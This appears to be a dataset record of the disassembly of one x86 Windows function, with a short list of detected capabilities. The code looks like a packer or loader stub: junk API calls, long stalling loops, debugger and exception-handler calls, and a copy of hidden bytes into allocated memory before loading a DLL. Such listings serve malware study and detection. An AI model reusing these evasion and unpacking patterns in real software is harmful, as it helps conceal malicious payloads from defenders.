Function at 0x420cd0
Capabilities:
Accept command line arguments
Create directory
Get file size
Get hostname

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x454
mov eax, dword [0x429004]
xor eax, esp
mov dword [esp + 0x450], eax
push ebx
push esi
xor esi, esi
push edi
xor ebx, ebx
cmp ebx, 0x112
jne 0x420d08
mov eax, dword [0x42a430]
add eax, 0x9e49
mov dword [0x4393a4], eax
cmp dword [0x4393a4], 0xe89
jne 0x420d44
xor eax, eax
mov word [esp + 0x10], ax
lea edi, [esp + 0x12]
stosw word es:[edi], ax
lea eax, [esp + 0x14]
push eax
push dword [esp + 0x14]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterA]
or dword [0x42b594], 0xffffffff
mov dword [0x42b590], 0xec58acac
inc ebx
cmp ebx, 0x1237836
jl 0x420cf1
xor edi, edi
cmp edi, 0x55ded1
jne 0x420d61
mov eax, dword [0x429c68]
mov dword [0x4393a8], eax
cmp dword [0x4393a4], 0x3c
jne 0x420d70
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
inc edi
cmp edi, 0x5ea53c
jl 0x420d4f
cmp dword [0x4393a4], 0x7c
mov ebx, dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
jne 0x420e43
lea eax, [esp + 0x28]
push eax
call ebx
push esi
push esi
call dword [sym.imp.USER32.dll_LoadIconA]
push esi
call dword [sym.imp.KERNEL32.dll_LocalSize]
push esi
call dword [sym.imp.KERNEL32.dll_FindAtomA]
push esi
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
push esi
call dword [sym.imp.KERNEL32.dll_GetNumberOfConsoleMouseButtons]
push esi
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
xor eax, eax
mov word [esp + 0x14], ax
lea edi, [esp + 0x16]
stosw word es:[edi], ax
mov word [esp + 0x10], ax
lea edi, [esp + 0x12]
stosw word es:[edi], ax
lea eax, [esp + 0x20]
push eax
push dword [esp + 0x14]
lea eax, [esp + 0x20]
push dword [esp + 0x1c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputA]
push esi
call dword [sym.imp.KERNEL32.dll_DebugActiveProcess]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsA]
push esi
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
cmp dword [0x4393a4], 0x2d
jne 0x420e20
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
cmp dword [0x4393a4], 0x54
jne 0x420e35
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push esi
call edi
push esi
call edi
push esi
call fcn.004011fc
pop ecx
push esi
call fcn.00401212
pop ecx
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x30]
push eax
call sub.KERNEL32.dll_GetSystemTimes
cmp edi, 0x257b4
jg 0x420e72
inc edi
cmp edi, 0xed801
jl 0x420e45
jmp 0x420e86
cmp dword [0x4393a4], 0xa
jne 0x420e86
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringA]
cmp dword [0x4393a4], 0x2a
jne 0x420eef
push esi
mov dword [0x439268], esi
mov dword [0x43926c], esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push dword [esp + 0x18]
lea eax, [esp + 0x5c]
push eax
call dword [sym.imp.KERNEL32.dll_SetConsoleScreenBufferSize]
push esi
call fcn.00401132
pop ecx
push esi
call fcn.00401132
pop ecx
push esi
call fcn.00401015
pop ecx
push esi
push esi
push esi
push esi
call fcn.00401587
push esi
push esi
call fcn.004010a3
push esi
call fcn.00401344
add esp, 0x1c
push dword [0x4393a4]
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ecx, dword [0x4393a4]
xor edi, edi
mov dword [0x4390c0], eax
cmp ecx, esi
jbe 0x420f34
mov edx, dword [0x4393a8]
mov dl, byte [edx + edi + 0x9e49]
mov byte [eax + edi], dl
cmp ecx, 0x5ab
jne 0x420f2f
mov dword [0x4390c4], 0x19b0
inc edi
cmp edi, ecx
jb 0x420f0d
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call fcn.00420b51
call fcn.00420c4a
xor edi, edi
cmp dword [0x4393a4], 0x41
jne 0x420f6b
push esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
cmp edi, 0xd606b
jne 0x420f78
call fcn.00420b46
cmp dword [0x4393a4], 0xc
jne 0x420f88
lea eax, [esp + 0x18]
push eax
call ebx
inc edi
cmp edi, 0x24e87d
jl 0x420f4b
mov dword [0x439270], 0x8e46a6f0
cmp esi, 0x408e
jle 0x420fad
cmp dword [esp + 0x38], 0xf5bed7
jne 0x420fb6
inc esi
cmp esi, 0x687ed2
jl 0x420f9b
mov ecx, dword [esp + 0x45c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401006
mov esp, ebp
pop ebp
ret